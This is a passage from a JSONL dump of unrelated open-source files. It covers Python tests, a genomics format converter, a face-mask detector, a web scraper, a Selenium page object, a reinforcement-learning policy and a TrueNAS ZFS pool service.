header['RA'] == header['CRVAL1']\n assert header['DEC'] == header['CRVAL2']\n\n\ndef test_abort_1():\n suc = app.astrometry.abort()\n assert not suc\n\n\ndef test_solveClear():\n app.astrometry.mutexSolve.lock()\n app.astrometry.solveClear()\n\n\ndef test_solveThreading_1():\n suc = app.astrometry.solveThreading()\n app.astrometry.mutexSolve.unlock()\n assert not suc\n\n\ndef test_solveThreading_2():\n home = os.environ.get('HOME')\n app.astrometry.solverEnviron = {\n 'KStars': {\n 'programPath': '/Applications/Astrometry.app/Contents/MacOS',\n 'indexPath': home + '/Library/Application Support/Astrometry',\n 'solver': app.astrometry.solverNET,\n }\n }\n app.astrometry.framework = 'KStars'\n suc = app.astrometry.solveThreading()\n assert not suc\n\n\ndef test_solveThreading_3():\n home = os.environ.get('HOME')\n app.astrometry.solverEnviron = {\n 'KStars': {\n 'programPath': '/Applications/Astrometry.app/Contents/MacOS',\n 'indexPath': home + '/Library/Application Support/Astrometry',\n 'solver': app.astrometry.solverNET,\n }\n }\n app.astrometry.framework = 'KStars'\n file = mwGlob['imageDir'] + '/m51.fits'\n suc = app.astrometry.solveThreading(fitsPath=file)\n assert suc\n\n\ndef test_solveThreading_5():\n app.astrometry.solverEnviron = {\n 'CloudMakers': {\n 'programPath': '',\n 'indexPath': '',\n 'solver': app.astrometry.solverNET,\n }\n }\n app.astrometry.framework = 'KStars'\n file = mwGlob['imageDir'] + '/m51.fits'\n suc = app.astrometry.solveThreading(fitsPath=file)\n assert not suc\n\n\ndef test_abort_1():\n home = os.environ.get('HOME')\n app.astrometry.solverEnviron = {\n 'KStars': {\n 'programPath': '/Applications/Astrometry.app/Contents/MacOS',\n 'indexPath': home + '/Library/Application Support/Astrometry',\n 'solver': app.astrometry.solverNET,\n }\n }\n app.astrometry.framework = 'KStars'\n with mock.patch.object(app.astrometry.solverNET,\n 'abort',\n return_value=True):\n suc = app.astrometry.abort()\n assert suc\n","sub_path":"mw4/test/test_units/astrometry/test_astrometry.py","file_name":"test_astrometry.py","file_ext":"py","file_size_in_byte":6844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"134491978","text":"#!/usr/bin/env python\n\nimport argparse\nimport sys\nimport re\nimport logging\nimport logging.config\nimport json\nimport os\n\nSTART_STR = '//*****************START'\nEND_STR = '//******************END'\nQUERY_NAME_STR = '//for query: '\nHSP_STR = 'HSP_ID'\nQUERY_NAME_RE = re.compile('^//for query: ([^/]*)//$')\nGENOMIC_MATCH_RE = re.compile(\n '^(?P[^|]*)\\|(?P[^:]*):(?P\\d+)\\.\\.(?P\\d+)\\|(?P[+-])\\|gene cover:(?P\\d+)\\((?P[\\d.]+)%\\)\\|score:(?P[-\\de.]+)\\|rank:(?P\\d+)$')\nHSP_RE = re.compile(\n '^HSP_ID\\[(?P\\d+)\\]:\\((?P\\d+)-(?P\\d+)\\);query:\\((?P\\d+)-(?P\\d+)\\); pid: (?P[\\d.]+)$')\n\n\ndef parse_genblastA(input_filename):\n in_record = False\n matches_by_query = dict()\n\n def dict_from_match_re(genomic_match):\n match_dict = genomic_match.groupdict()\n match_index = matches_by_query.get(match_dict['query_name'], 0) + 1\n match_dict['index'] = match_index\n matches_by_query[match_dict['query_name']] = match_index\n return match_dict\n\n # variables set during parsing\n hsp_dict = dict()\n genomic_match = None\n query_name = ''\n for line in input_filename:\n if not in_record:\n if line.startswith(START_STR):\n in_record = True\n else:\n # we're in a record\n if line.startswith(END_STR):\n # check that we've got a match to output (we might have NONE)\n if genomic_match:\n match_dict = dict_from_match_re(genomic_match)\n yield (dict(match=match_dict, hsps=hsp_dict))\n hsp_dict = dict()\n genomic_match = None\n query_name = ''\n in_record = False\n elif line.startswith(QUERY_NAME_STR):\n match = QUERY_NAME_RE.match(line.rstrip())\n if match == None:\n logging.error('Query name regexp failed to match on line: {}'.format(line))\n in_record = False\n else:\n query_name = match.group(1)\n elif 'gene cover' in line:\n if genomic_match:\n # we've already seen one match, need to output that\n match_dict = dict_from_match_re(genomic_match)\n yield (dict(match=match_dict, hsps=hsp_dict))\n # and reset the hsp_dict, we're about to reset the genomic_match\n hsp_dict = dict()\n genomic_match = GENOMIC_MATCH_RE.match(line.rstrip())\n if not genomic_match:\n logging.error('Genomic match regexp failed to match on line: {}'.format(line))\n in_record = False\n else:\n # not much to do: we've got a genomic match saved in genomic_match, will use it once we've read the HSPs\n logging.debug(\n 'Got match between {} and {} start: {} end: {}'.format(genomic_match.group('query_name'),\n genomic_match.group('match_name'),\n genomic_match.group('match_start'),\n genomic_match.group('match_end')))\n elif line.startswith(HSP_STR):\n match = HSP_RE.match(line.rstrip())\n if not match:\n logging.error('HSP regexp failed to match on line: {}'.format(line))\n in_record = False\n else:\n # save the HSPs for this genomic match\n hsp = dict(match_start=int(match.group('match_start')), match_end=int(match.group('match_end')),\n query_start=int(match.group('query_start')), query_end=int(match.group('query_end')),\n perc_id=float(match.group('perc_id')))\n hsp_dict[int(match.group('hsp_id'))] = hsp\n\n\ndef write_gff_line(genomic_match, hsp_dict, query_name, output_file):\n # gff3 format\n # seq source type start end score strand phase attributes\"\n first_hsp_id = min(hsp_dict.keys())\n last_hsp_id = max(hsp_dict.keys())\n target = 'Target={} {} {}'.format(query_name, hsp_dict[first_hsp_id]['query_start'],\n hsp_dict[last_hsp_id]['query_end'])\n attributes = 'ID={}_{};{}'.format(query_name, genomic_match['index'], target)\n gff_line = '\\t'.join([genomic_match['match_name'], 'genBlastA', 'match',\n genomic_match['match_start'], genomic_match['match_end'],\n genomic_match['coverage_perc'], genomic_match['strand'],\n '.', attributes]) + '\\n'\n output_file.write(gff_line)\n\n\ndef write_bed_line(genomic_match, hsp_dict, query_name, output_file):\n # bed format\n # chrom chromStart chromEnd name score strand [other optional fields, see http://genome.ucsc.edu/FAQ/FAQformat.html#format1]\n # bed score is 0 to 1000 - here the coverage percentage is scaled to that range\n name = '{}_{}'.format(query_name, genomic_match['index'])\n bed_line = '\\t'.join(\n [genomic_match['match_name'], int(genomic_match['match_start'] - 1), int(genomic_match['match_end'] - 1),\n name, str(float(genomic_match['coverage_perc']) * 10), genomic_match['strand']]) + '\\n'\n output_file.write(bed_line)\n\n\ndef genblastA_process(input_file, output_file, output_format='gff3', min_perc_coverage=0.0, min_match_length=0,\n min_perc_identity=0):\n if output_format == 'gff3':\n output_file.write('##gff-version 3\\n')\n for match in parse_genblastA(input_file):\n genomic_match = match['match']\n hsp_dict = match['hsps']\n num_hsps = len(hsp_dict)\n match_length = abs(int(genomic_match['match_end']) - int(genomic_match['match_start']))\n avg_perc_identity = sum([hsp_dict[i]['perc_id'] for i in hsp_dict]) / num_hsps\n query_coverage_perc = float(genomic_match['coverage_perc'])\n if (avg_perc_identity >= min_perc_identity and\n query_coverage_perc >= min_perc_coverage and\n match_length >= min_match_length):\n if output_format == 'gff3':\n write_gff_line(match['match'], match['hsps'], match['match']['query_name'], output_file)\n elif output_format == 'bed':\n write_bed_line(match['match'], match['hsps'], match['match']['query_name'], output_file)\n else:\n sys.stderr.write('Unknown output format: {}\\n'.format(args.output_format))\n sys.exit(1)\n input_file.close()\n output_file.close()\n\n\nif __name__ == '__main__':\n log_config = os.getenv('LOG_CONFIG', None)\n if log_config:\n log_config_file = None\n try:\n log_config_file = open(log_config)\n except IOError as e:\n sys.stderr.write('Failed to load logging config from {}: {}\\n'.format(log_config, str(e)))\n if log_config_file:\n config_dict = json.load(log_config_file)\n try:\n logging.config.dictConfig(config_dict)\n except (ValueError, TypeError, AttributeError, ImportError) as e:\n sys.stderr.write('Failed to parse log config dictionary: {}\\n'.format(str(e)))\n logging.basicConfig(level=logging.INFO)\n\n parser = argparse.ArgumentParser(description='parse genblastA output and produce GFF3')\n parser.add_argument('--min_perc_coverage', '-C', type=float, default=80.0,\n help='Minimum coverage of the query sequence')\n parser.add_argument('--min_match_length', '-L', type=int, default=100, help='Shortest match length to accept')\n parser.add_argument('--min_perc_identity', '-I', type=float, default=80.0,\n help='Minimum average % identity to accept')\n parser.add_argument('--output_format', '-F', type=str, choices=['gff3', 'bed'], default='gff3',\n help='Output format: GFF3 or BED')\n parser.add_argument('genblastA_file', type=argparse.FileType(), help='genblastA format file')\n parser.add_argument('output_file', nargs='?', type=argparse.FileType('w'), default=sys.stdout,\n help='GFF3 output file')\n args = parser.parse_args()\n\n genblastA_process(args.genblastA_file, args.output_file, args.output_format, args.min_perc_coverage,\n args.min_match_length, args.min_perc_identity)\n","sub_path":"genblastA_to_gff3.py","file_name":"genblastA_to_gff3.py","file_ext":"py","file_size_in_byte":8707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"257232127","text":"import dash_bootstrap_components as dbc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output\n\nstandalone_radio_check = html.Div(\n [\n dbc.FormGroup(\n [\n dbc.Checkbox(\n id=\"standalone-checkbox\", className=\"form-check-input\"\n ),\n dbc.Label(\n \"This is a checkbox\",\n html_for=\"standalone-checkbox\",\n className=\"form-check-label\",\n ),\n ],\n check=True,\n ),\n dbc.FormGroup(\n [\n dbc.RadioButton(\n id=\"standalone-radio\", className=\"form-check-input\"\n ),\n dbc.Label(\n \"This is a radio button\",\n html_for=\"standalone-radio\",\n className=\"form-check-label\",\n ),\n ],\n check=True,\n ),\n html.Br(),\n html.P(id=\"standalone-radio-check-output\"),\n ]\n)\n\n\n@app.callback(\n Output(\"standalone-radio-check-output\", \"children\"),\n [\n Input(\"standalone-checkbox\", \"checked\"),\n Input(\"standalone-radio\", \"checked\"),\n ],\n)\ndef on_form_change(checkbox_checked, radio_checked):\n if checkbox_checked and radio_checked:\n return \"Both checked.\"\n elif checkbox_checked or radio_checked:\n return \"One checked.\"\n else:\n return \"None checked.\"\n","sub_path":"docs/components_page/components/input/radio_check_standalone.py","file_name":"radio_check_standalone.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"103143032","text":"#!/usr/bin/env python\n#\n\nimport os\nimport logging\n#import auxiliary_module\n\nclass ElasticDevLogger(object):\n\n def __init__(self,name,**kwargs):\n\n self.classname = 'ElasticDevLogger'\n\n logger = logging.getLogger(name)\n logger.setLevel(logging.DEBUG)\n\n # create file handler which logs even debug messages\n logdir = \"/tmp/ed/log\"\n os.system(\"mkdir -p {}\".format(logdir))\n logfile = \"{}/{}\".format(logdir,\"ed_main.log\")\n\n fh = logging.FileHandler(logfile)\n fh.setLevel(logging.DEBUG)\n\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n fh.setFormatter(formatter)\n logger.addHandler(fh)\n\n self.direct = logger\n self.aggregate_msg = None\n\n def aggmsg(self,message,new=False,prt=None,cmethod=\"debug\"):\n\n if not self.aggregate_msg: new = True\n\n if not new: \n self.aggregate_msg = \"{}\\n{}\".format(self.aggregate_msg,message)\n else:\n self.aggregate_msg = \"\\n{}\".format(message)\n\n if not prt: return self.aggregate_msg\n\n msg = self.aggregate_msg\n self.print_aggmsg(cmethod)\n\n return msg\n\n def print_aggmsg(self,cmethod=\"debug\"):\n\n _method = 'self.{}({})'.format(cmethod,\"self.aggregate_msg\")\n eval(_method)\n self.aggregate_msg = \"\"\n\n def debug_highlight(self,message):\n self.direct.debug(\"+\"*32)\n self.direct.debug(message)\n self.direct.debug(\"+\"*32)\n\n def info(self,message):\n self.direct.info(message)\n\n def debug(self,message):\n self.direct.debug(message)\n\n def critical(self,message):\n self.direct.critical(\"!\"*32)\n self.direct.critical(message)\n self.direct.critical(\"!\"*32)\n\n def error(self,message):\n self.direct.error(\"*\"*32)\n self.direct.error(message)\n self.direct.error(\"*\"*32)\n\n def warn(self,message):\n self.direct.warn(\"-\"*32)\n self.direct.warn(message)\n self.direct.warn(\"-\"*32)\n","sub_path":"execgroups/_ed_configs/lambda_codebuild/_chrootfiles/var/tmp/lambda/src/ed_common/loggerly.py","file_name":"loggerly.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"182460045","text":"import tensorflow as tf\nimport numpy as np\nimport cv2\nfrom FaceDetection import FaceDetector\nimport time\n\n\n# fd_path = '/home/tigerit/PycharmProjects/MaskedOrNot/models/version-RFB-640.onnx'\n\n\nclass MaskDetector(object):\n def __init__(self, maskD_model_path, faceD_model_path):\n self.model_filepath = maskD_model_path\n self.face_detector = FaceDetector(faceD_model_path)\n self.interpreter, self.input_details, self.output_details = self.load_model_tflite(self.model_filepath)\n\n # loading the mask detection tflite model\n def load_model_tflite(self, model_path):\n interpreter = tf.lite.Interpreter(model_path)\n interpreter.allocate_tensors()\n input_details = interpreter.get_input_details()\n output_details = interpreter.get_output_details()\n return interpreter, input_details, output_details\n\n # preprocessing accordingly after face detection\n def preprocess(self, frame):\n t0 = time.time()\n boxes = self.face_detector.detect_faces(frame)\n print('UltraLightWeight() - face detection time: {:.3f} seconds'.format(time.time() - t0))\n # if no face detected, return none\n if len(boxes) == 0:\n return None\n # mask detection will be performed for the face with the max confidence score\n box = boxes[0]\n # box coordinates fixed accordingly if < 0. > height or > width\n if box['start_x'] < 0:\n box['start_x'] = 0\n if box['start_y'] < 0:\n box['start_y'] = 0\n if box['end_x'] > frame.shape[1]:\n box['end_x'] = frame.shape[1]\n if box['end_y'] > frame.shape[0]:\n box['end_y'] = frame.shape[0]\n\n face = frame[box['start_y']:box['end_y'], box['start_x']:box['end_x']]\n face = cv2.cvtColor(face, cv2.COLOR_BGR2RGB)\n face = cv2.resize(face, (224, 224))\n face = (np.float32(face) - 127.5) / 128\n face = np.expand_dims(face, axis=0)\n return face\n\n # return 'mask' and 'no-mask' percentages\n def masked_or_not(self, frame):\n input_data = self.preprocess(frame)\n # check for no face\n if input_data is None:\n print(\"no face detected...\")\n return None\n t0 = time.time()\n self.interpreter.set_tensor(self.input_details[0]['index'], input_data)\n self.interpreter.invoke()\n output_data = self.interpreter.get_tensor(self.output_details[0]['index'])\n print('Mask detection time: {:.3f} seconds'.format(time.time() - t0))\n # return\n res = {'mask': float(output_data[0][0]), 'no-mask': float(output_data[0][1])}\n return res\n","sub_path":"MaskDetection.py","file_name":"MaskDetection.py","file_ext":"py","file_size_in_byte":2653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"3677157","text":"#coding=utf-8\nimport urllib.request\nfrom lxml import etree\nimport pymysql\nfrom datetime import datetime\n\ndef connDB():\n # 连接数据库\n conn = pymysql.connect(host='172.16.33.252', user='root', passwd='root', db='xlh_craw', charset='utf8')\n cur = conn.cursor()\n return (conn, cur)\ndef exeUpdate(conn, cur, sql):\n '''更新语句,可执行Update,Insert语句'''\n sta = cur.execute(sql)\n conn.commit()\n return (sta)\ndef exeBath(conn, cur, sql,data):\n '''批量插入数据'''\n sta = cur.executemany(sql,data)\n conn.commit()\n return (sta)\ndef exeQuery(cur, sql):\n # 查询语句\n cur.execute(sql)\n result = cur.fetchone()\n return result\ndef connClose(conn, cur):\n # 关闭所有连接\n cur.close()\n conn.close()\ndef getHtml(url):\n try:\n openurl=urllib.request.urlopen(url)\n html=openurl.read()\n return html\n except Exception as e:\n return '网络超时'\n #print(html)\ndef defSql(jobType):\n if jobType=='ipo':\n sql = \"insert into craw_ipo(ds,enterprise,industry,round,unit,money,org,detail) values(%s,%s,%s,%s,%s,%s,%s,%s)\"\n return sql\ndef listTransList(list):\n return ''.join(list)\ndef getDataColumn(selector,pagesize):\n list = []\n for i in range(2, pagesize):\n ds = listTransList(selector.xpath('//*[@id=\"ipo-list\"]/li[' + str(i) + ']/div/span/text()'))\n enterprise = listTransList(selector.xpath('//*[@id=\"ipo-list\"]/li[' + str(i) + ']/dl/dt[1]//text()'))\n industry = listTransList(selector.xpath('//*[@id=\"ipo-list\"]/li[' + str(i) + ']/dl/dt[2]/a/text()'))\n round = listTransList(selector.xpath('//*[@id=\"ipo-list\"]/li[' + str(i) + ']/dl/dt[3]/span[1]/text()'))\n unit = listTransList(selector.xpath('//*[@id=\"ipo-list\"]/li[' + str(i) + ']/dl/dt[3]/span[2]/text()'))\n money = listTransList(selector.xpath('//*[@id=\"ipo-list\"]/li[' + str(i) + ']/dl/dt[3]/span[3]/text()'))\n org = listTransList(selector.xpath('//*[@id=\"ipo-list\"]/li[' + str(i) + ']/dl/dt[4]//text()')).replace(' / ',',')\n detail = listTransList(selector.xpath('//*[@id=\"ipo-list\"]/li[' + str(i) + ']/dl/dt[5]//text()'))\n data = (ds, enterprise, industry, round, unit, money, org, detail)\n list.append(data)\n return list\ndef getData(html):\n selector = etree.HTML(html)\n '''获取每页行数'''\n dataList=selector.xpath('//*[@id=\"ipo-list\"]/li')\n pagesize=len(dataList)+1\n list =getDataColumn(selector,pagesize)\n return list\ndef loaddata(sql,data):\n connMysql = connDB()\n exeBath(connMysql[0], connMysql[1], sql,data)\n connClose(connMysql[0], connMysql[1])\ndef dateFormat(date):\n datestring=datetime.strptime(str(date), \"%Y-%m-%d %H:%M:%S.%f\")\n return datestring\n\nif __name__==\"__main__\":\n '''定义主页入口'''\n startTime=dateFormat(datetime.now())\n print('程序已经开始,时间为:',startTime)\n initurl='http://zdb.pedaily.cn/ipo/'\n errTime=0\n '''获取html'''\n for i in range(1,10000):\n if i==1:\n url=initurl\n else:\n url='http://zdb.pedaily.cn/ipo/%s/' % i\n print('当前url地址:',url)\n html=getHtml(url)\n if html=='网络超时':\n break\n '''根据url拿取数据'''\n data=getData(html)\n print(data)\n if data==[]:\n errTime+=1\n if errTime>4:\n endTime=dateFormat(datetime.now())\n print('Game Over!!!')\n print('程序开始时间:', startTime)\n print('程序结束时间:', endTime)\n break\n '''根据类型提取sql'''\n sql=defSql('ipo')\n '''数据入库'''\n loaddata(sql,data)\n print(dateFormat(datetime.now()),'-->',data)","sub_path":"pyCode/craw/pedaily/ipo.py","file_name":"ipo.py","file_ext":"py","file_size_in_byte":3784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"20058945","text":"def get_user_cell(service, spreadsheet_id, user):\n \"\"\"\n Get username from sheets\n \"\"\"\n\n range_literal = 'A'\n range_number = 4\n\n sheet = service.spreadsheets()\n\n list_of_cells = []\n\n while range_number < 30:\n range_name = range_literal + str(range_number)\n result = sheet.values().get(spreadsheetId=spreadsheet_id,\n range=range_name).execute()\n\n values = result.get('values', [])\n\n if values:\n if values[0][0] == user:\n list_of_cells.append(range_number)\n\n range_number += 1\n\n return list_of_cells\n","sub_path":"gsheets.py","file_name":"gsheets.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"296776529","text":"'''\r\nCreated on 28 Oct 2020\r\n\r\n@author: 612563313\r\n'''\r\n\r\nfrom AppPages.WebdriverExtensions import WebdriverExtensions\r\nfrom selenium.webdriver.common.by import By\r\nfrom AppTestData.LoginPage_TestData import LoginPage_TestData as lptd\r\nfrom AppPages.HomePage import HomePage\r\nimport time\r\n\r\nclass LaunchFP(WebdriverExtensions):\r\n \r\n email = (By.ID, 'i0116')\r\n SI_btn = (By.ID, 'idSIButton9')\r\n pwd = (By.ID, 'passwordInput')\r\n Submit_btn = (By.ID, 'submitButton') \r\n# back_btn = (By.ID, '')\r\n# SI_opts = (By.ID, '')\r\n# CantAccess = (By.ID, '') \r\n# Cancel_link = (By.ID, '') \r\n\r\n def __init__(self,driver):\r\n super().__init__(driver)\r\n \r\n \r\n def chk_SIsupportLnkExists(self):\r\n SIOptsLink = self.IsElementVisible(self.SI_opts)\r\n AccAccess = self.IsElementVisible(self.CantAccess)\r\n return(SIOptsLink,AccAccess)\r\n \r\n def LoginToFP(self,UsrN,UsrP): \r\n fp = lptd.SSpath\r\n fn = lptd.LP_ssName\r\n self.ClearAndTypeValueInto(self.email,UsrN)\r\n# SI_1 = self.getPageTitle(FPTestData.LP_title1)\r\n self.GetScreenShot(fp,fn)\r\n self.ClickElement(self.SI_btn)\r\n self.ClearAndTypeValueInto(self.pwd,UsrP)\r\n self.GetScreenShot(fp,fn)\r\n print('\\n----------------------------\\n')\r\n# SI_2 = self.getPageTitle(FPTestData.LP_title2)\r\n self.ClickElement(self.Submit_btn)\r\n time.sleep(5)\r\n# x = self.getPageTitle(FPTestData.HP_title)\r\n# assert x == FPTestData.HP_title\r\n# print(\"Login Succesfull\")\r\n return HomePage(self.driver)\r\n \r\n ","sub_path":"com.myportaltest.rivusfleet/AppPages/aFPLaunch.py","file_name":"aFPLaunch.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"594765957","text":"import os, sys\nimport pegasus as pg\nimport numpy as np\nfrom termcolor import cprint\n\nn_cores = os.cpu_count()\n\nadata = pg.read_input(\"/data/MantonBM_nonmix_tiny.h5sc\")\npg.qc_metrics(adata)\npg.filter_data(adata)\npg.log_norm(adata)\npg.highly_variable_features(adata, consider_batch = False)\n\n# Load precalculated PCA\ncprint(\"Set precalculated PCA info...\", \"green\")\nadata.obsm['X_pca'] = np.load(\"/data/precalculated/batch_correction/pca.npy\")\nadata.uns['PCs'] = np.load(\"/data/precalculated/batch_correction/PCs.npy\")\nadata.uns['pca'] = {}\nadata.uns['pca']['variance'] = np.load(\"/data/precalculated/batch_correction/pca_variance.npy\")\nadata.uns['pca']['variance_ratio'] = np.load(\"/data/precalculated/batch_correction/pca_variance_ratio.npy\")\n\npg.neighbors(adata)\npg.louvain(adata)\npg.umap(adata)\npg.write_output(adata, \"ground\")\n\ndel adata\n\nif os.system(\"pegasus de_analysis -p {} --labels louvain_labels --t ground.h5ad ground.de.xlsx\".format(n_cores)):\n\tsys.exit(1)\n\nif os.system(\"pegasus annotate_cluster ground.h5ad ground.anno.txt\"):\n\tsys.exit(1)\n\nif os.system(\"pegasus plot scatter --basis umap --attributes louvain_labels,Channel ground.h5ad ground.umap.pdf\"):\n\tsys.exit(1)","sub_path":"batch_correction/ground/gen_ground_h5ad.py","file_name":"gen_ground_h5ad.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"10553407","text":"import baselines.common.tf_util as U\nimport tensorflow as tf\nimport gym\nimport re\nimport os, sys\nfrom hyperparams import *\nfrom baselines.common.distributions import make_pdtype\n\nclass CnnPolicy(object):\n recurrent = False\n def __init__(self, name, ob_space, ac_space, hid_size=32, num_hid_layers=2, load=False, kind='large'):\n with tf.variable_scope(name):\n self._init(ob_space, ac_space, hid_size, num_hid_layers, kind)\n self.scope = tf.get_variable_scope().name\n if (load):\n self.load(model_dir)\n\n def _init(self, ob_space, ac_space, hid_size=32, num_hid_layers=2, kind='large'):\n assert isinstance(ob_space, gym.spaces.Box)\n\n self.pdtype = pdtype = make_pdtype(nb_group * ac_space.shape[0])\n sequence_length = None\n\n ob = U.get_placeholder(name=\"ob\", dtype=tf.float32, shape=[sequence_length] + list(ob_space.shape))\n\n # x = ob / 255.0\n x = ob\n for i in range(num_hid_layers):\n x = tf.nn.relu(U.conv2d(x, hid_size, 'conv%d'%i, [1, 3 * ob_space.shape[1]], pad='SAME'))\n x = tf.nn.relu(U.conv2d(x, 1, 'conv%d' % num_hid_layers, [1, 3 * ob_space.shape[1]], pad='SAME'))\n \n # if kind == 'small': # from A3C paper\n # x = tf.nn.relu(U.conv2d(x, 16, \"l1\", [8, 8], [4, 4], pad=\"VALID\"))\n # x = tf.nn.relu(U.conv2d(x, 32, \"l2\", [4, 4], [2, 2], pad=\"VALID\"))\n # x = U.flattenallbut0(x)\n # x = tf.nn.relu(tf.layers.dense(x, 256, name='lin', kernel_initializer=U.normc_initializer(1.0)))\n # elif kind == 'large': # Nature DQN\n # x = tf.nn.relu(U.conv2d(x, 32, \"l1\", [8, 8], [4, 4], pad=\"VALID\"))\n # x = tf.nn.relu(U.conv2d(x, 64, \"l2\", [4, 4], [2, 2], pad=\"VALID\"))\n # x = tf.nn.relu(U.conv2d(x, 64, \"l3\", [3, 3], [1, 1], pad=\"VALID\"))\n # x = U.flattenallbut0(x)\n # x = tf.nn.relu(tf.layers.dense(x, 512, name='lin', kernel_initializer=U.normc_initializer(1.0)))\n # else:\n # raise NotImplementedError\n x_shape = x.shape\n x = tf.reshape(x, [-1, ob_space.shape[1]])\n \n\n logits = tf.layers.dense(x, 2 * ac_space.shape[0], name='logits', kernel_initializer=U.normc_initializer(0.01))\n logits = tf.reshape(logits, (-1, nb_group, 2 * ac_space.shape[0]))\n self.pd = pdtype.pdfromflat(logits)\n self.vpred = tf.layers.dense(x, 1, name='value', kernel_initializer=U.normc_initializer(1.0))[:,0]\n self.vpred = tf.reshape(self.vpred, (-1, ob_space.shape[0]))\n self.vpred = tf.reduce_mean(self.vpred, axis=-1)\n\n self.state_in = []\n self.state_out = []\n\n stochastic = tf.placeholder(dtype=tf.bool, shape=())\n ac = self.pd.sample() # XXX\n self._act = U.function([stochastic, ob], [ac, self.vpred])\n \n self.saver = tf.train.Saver()\n\n def act(self, stochastic, ob):\n ac1, vpred1 = self._act(stochastic, ob[None])\n return ac1[0], vpred1[0]\n def get_variables(self):\n return tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES, self.scope)\n def get_trainable_variables(self):\n return tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, self.scope)\n def get_initial_state(self):\n return []\n \n def save(self, dir):\n # name = self.scope\n # os.makedirs('{dir}/{name}'.format(dir=dir, name=name),exist_ok=True)\n self.saver.save(tf.get_default_session(), os.path.join(dir, env_id, 'model.ckpt'), global_step=self.step)\n print('save model successful.')\n\n def load(self, dir):\n # name = self.scope\n try:\n checkpoint = tf.train.latest_checkpoint(os.path.join(dir, env_id))\n self.saver.restore(tf.get_default_session(), checkpoint)\n self.step = int(re.findall(r'\\d+', checkpoint)[0])\n print('load model successful.')\n except Exception as e:\n print('Loading model error: ', e, file=sys.stderr)\n\n","sub_path":"baselines/baselines/ppo1/cnn_policy.py","file_name":"cnn_policy.py","file_ext":"py","file_size_in_byte":3969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"327717845","text":"import concurrent.futures\nimport errno\nimport os\nimport socket\nimport textwrap\nimport threading\nimport time\n\nfrom bsd import getmntinfo, geom\nimport humanfriendly\nimport libzfs\n\nfrom middlewared.schema import Dict, List, Str, Bool, Int, accepts\nfrom middlewared.service import (\n CallError, CRUDService, Service, ValidationError, ValidationErrors,\n filterable, job, periodic,\n)\nfrom middlewared.utils import filter_list, start_daemon_thread\n\nSCAN_THREADS = {}\nSINGLE_THREAD_POOL = concurrent.futures.ThreadPoolExecutor(max_workers=1)\n\n\ndef find_vdev(pool, vname):\n \"\"\"\n Find a vdev in the given `pool` using `vname` looking for\n guid or path\n\n Returns:\n libzfs.ZFSVdev object\n \"\"\"\n children = list(pool.root_vdev.children)\n while children:\n child = children.pop()\n\n if str(vname) == str(child.guid):\n return child\n\n if child.type == 'disk':\n path = child.path.replace('/dev/', '')\n if path == vname:\n return child\n\n children += list(child.children)\n\n\nclass ZFSPoolService(Service):\n\n class Config:\n namespace = 'zfs.pool'\n private = True\n thread_pool = SINGLE_THREAD_POOL\n\n @filterable\n def query(self, filters, options):\n zfs = libzfs.ZFS()\n # Handle `id` filter specially to avoiding getting all pool\n if filters and len(filters) == 1 and list(filters[0][:2]) == ['id', '=']:\n try:\n pools = [zfs.get(filters[0][2]).__getstate__()]\n except libzfs.ZFSException:\n pools = []\n else:\n pools = [i.__getstate__() for i in zfs.pools]\n return filter_list(pools, filters, options)\n\n @accepts(Str('pool'))\n async def get_disks(self, name):\n zfs = libzfs.ZFS()\n try:\n zpool = zfs.get(name)\n except libzfs.ZFSException as e:\n raise CallError(str(e), errno.ENOENT)\n\n await self.middleware.run_in_thread(geom.scan)\n labelclass = geom.class_by_name('LABEL')\n for absdev in zpool.disks:\n dev = absdev.replace('/dev/', '').replace('.eli', '')\n find = labelclass.xml.findall(f\".//provider[name='{dev}']/../consumer/provider\")\n name = None\n if find:\n name = geom.provider_by_id(find[0].get('ref')).geom.name\n else:\n g = geom.geom_by_name('DEV', dev)\n if g:\n name = g.consumer.provider.geom.name\n\n if name and geom.geom_by_name('DISK', name):\n yield name\n else:\n self.logger.debug(f'Could not find disk for {dev}')\n\n @accepts(\n Str('name'),\n List('new'),\n List('existing', items=[\n Dict(\n 'attachvdev',\n Str('target'),\n Str('type', enum=['DISK']),\n Str('path'),\n ),\n ]),\n )\n @job()\n def extend(self, job, name, new=None, existing=None):\n \"\"\"\n Extend a zfs pool `name` with `new` vdevs or attach to `existing` vdevs.\n \"\"\"\n\n if new is None and existing is None:\n raise CallError('New or existing vdevs must be provided', errno.EINVAL)\n\n if new:\n raise CallError('Adding new vdev is not implemented yet')\n\n try:\n zfs = libzfs.ZFS()\n pool = zfs.get(name)\n\n # Make sure we can find all target vdev\n for i in (existing or []):\n target = find_vdev(pool, i['target'])\n if target is None:\n raise CallError(f'Failed to find vdev for {target}', errno.EINVAL)\n i['target'] = target\n\n for i in (existing or []):\n newvdev = libzfs.ZFSVdev(zfs, i['type'].lower())\n newvdev.path = i['path']\n i['target'].attach(newvdev)\n\n except libzfs.ZFSException as e:\n raise CallError(str(e), e.code)\n\n @accepts(Str('pool'), Str('label'))\n def detach(self, name, label):\n \"\"\"\n Detach device `label` from the pool `pool`.\n \"\"\"\n try:\n zfs = libzfs.ZFS()\n pool = zfs.get(name)\n target = find_vdev(pool, label)\n if target is None:\n raise 